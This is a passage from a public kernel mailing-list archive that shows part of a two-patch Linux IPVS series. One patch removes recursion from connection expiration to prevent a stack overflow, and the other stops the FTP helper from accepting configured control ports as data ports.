-static void ip_vs_conn_del_put(struct ip_vs_conn *cp)
+static bool ip_vs_conn_del_put(struct ip_vs_conn *cp)
{
if (timer_delete(&cp->timer)) {
/* Drop cp->control chain too */
if (cp->control)
cp->timeout = 0;
- __ip_vs_conn_put(cp);
- ip_vs_conn_expire(&cp->timer);
- } else {
- __ip_vs_conn_put(cp);
+ return true;
}
+
+ __ip_vs_conn_put(cp);
+ return false;
}
static void ip_vs_conn_expire(struct timer_list *t)
{
struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
struct netns_ipvs *ipvs = cp->ipvs;
+ enum ip_vs_conn_unlink_state unlink_state;
+ bool has_ref = false;
+ rcu_read_lock();
+
+repeat:
/*
* do I control anybody?
*/
@@ -1356,24 +1381,27 @@ static void ip_vs_conn_expire(struct timer_list *t)
goto expire_later;
/* Unlink conn if not referenced anymore */
- if (likely(ip_vs_conn_unlink(cp))) {
+ unlink_state = ip_vs_conn_unlink(cp, has_ref);
+ has_ref = false;
+ if (unlink_state == IP_VS_CONN_UNLINKED) {
struct ip_vs_conn *ct = cp->control;
+ bool next = false;
/* delete the timer if it is activated by other users */
timer_delete(&cp->timer);
/* does anybody control me? */
if (ct) {
- bool has_ref = !cp->timeout && __ip_vs_conn_get(ct);
+ bool ct_ref = !cp->timeout && __ip_vs_conn_get(ct);
ip_vs_control_del(cp);
/* Drop CTL or non-assured TPL if not used anymore */
- if (has_ref && !atomic_read(&ct->n_control) &&
+ if (ct_ref && !atomic_read(&ct->n_control) &&
(!(ct->flags & IP_VS_CONN_F_TEMPLATE) ||
!(ct->state & IP_VS_CTPL_S_ASSURED))) {
IP_VS_DBG(4, "drop controlling connection\n");
- ip_vs_conn_del_put(ct);
- } else if (has_ref) {
+ next = ip_vs_conn_del_put(ct);
+ } else if (ct_ref) {
__ip_vs_conn_put(ct);
}
}
@@ -1402,21 +1430,33 @@ static void ip_vs_conn_expire(struct timer_list *t)
else
call_rcu(&cp->rcu_head, ip_vs_conn_rcu_free);
atomic_dec(&ipvs->conn_count);
- return;
+ if (next) {
+ cp = ct;
+ has_ref = true;
+ goto repeat;
+ }
+ goto out;
}
+ if (unlink_state == IP_VS_CONN_UNLINK_GONE)
+ goto out;
+
expire_later:
IP_VS_DBG(7, "delayed: conn->refcnt=%d conn->n_control=%d\n",
refcount_read(&cp->refcnt),
atomic_read(&cp->n_control));
- refcount_inc(&cp->refcnt);
+ if (!has_ref && !__ip_vs_conn_get(cp))
+ goto out;
cp->timeout = 60*HZ;
if (ipvs->sync_state & IP_VS_STATE_MASTER)
ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
__ip_vs_conn_put_timer(cp);
+
+out:
+ rcu_read_unlock();
}
/* Modify timer, so that it expires as soon as possible.
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH nf v3 2/2] ipvs: reject FTP control ports as data ports
2026-09-20 9:31 [PATCH nf v3 0/2] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
2026-09-20 9:31 ` [PATCH nf v3 1/2] " Zihan Xi
@ 2026-09-20 9:31 ` Zihan Xi
1 sibling, 0 replies; 3+ messages in thread
From: Zihan Xi @ 2026-09-20 9:31 UTC (permalink / raw)
To: Simon Horman, Julian Anastasov
Cc: Zihan Xi, Pablo Neira Ayuso, Florian Westphal, Phil Sutter,
netdev, lvs-devel, netfilter-devel, coreteam, linux-kernel
ip_vs_ftp_out() creates a wildcard data connection from the
server-advertised passive port. If that port is one of the configured FTP
control ports, ip_vs_conn_new() binds the FTP helper to the new connection
again. A subsequent wildcard lookup can then extend a controlled-connection
chain.
Reject zero and configured control ports before creating passive
connections. For active mode, reject a zero client port and a data port
derived from a configured control port.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v3:
- Resend this FTP helper fix with the generic cleanup fix as one nf
series, as requested by the maintainer.
- Keep the active-mode guard for configured FTP control ports.
- v2 Link:
https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
changes in v2:
- Add the active-mode check for a data port derived from a configured
control port.
- v1 Link:
https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/
net/netfilter/ipvs/ip_vs_ftp.c | 18 ++++++++++++++++++
1 file changed, 18 insertions(+)
diff --git a/net/netfilter/ipvs/ip_vs_ftp.c b/net/netfilter/ipvs/ip_vs_ftp.c
index 9e3e005a8263..4822a1a75212 100644
--- a/net/netfilter/ipvs/ip_vs_ftp.c
+++ b/net/netfilter/ipvs/ip_vs_ftp.c
@@ -62,6 +62,17 @@ static unsigned short ports[IP_VS_APP_MAX_PORTS] = {21, 0};
module_param_array(ports, ushort, &ports_count, 0444);
MODULE_PARM_DESC(ports, "Ports to monitor for FTP control commands");
+static bool is_control_port(u16 port)
+{
+ unsigned int i;
+
+ for (i = 0; i < ports_count; i++) {
+ if (ports[i] == port)
+ return true;
+ }
+ return false;
+}
+
static char *ip_vs_ftp_data_ptr(struct sk_buff *skb, struct ip_vs_iphdr *ipvsh)
{
@@ -319,6 +330,10 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp,
return 1;
}
+ /* Do not redirect data to control ports */
+ if (!port || is_control_port(ntohs(port)))
+ return 0;
+
/* Now update or create a connection entry for it */
{
struct ip_vs_conn_param p;
@@ -529,6 +544,9 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp,
return 1;
}
+ if (!port || is_control_port(ntohs(cp->vport) - 1))
+ return 0;
+
/* Passive mode off */
cp->app_data = (void *) IP_VS_FTP_ACTIVE;
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-20 9:31 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-20 9:31 [PATCH nf v3 0/2] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
2026-09-20 9:31 ` [PATCH nf v3 1/2] " Zihan Xi
2026-09-20 9:31 ` [PATCH nf v3 2/2] ipvs: reject FTP control ports as data ports Zihan Xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®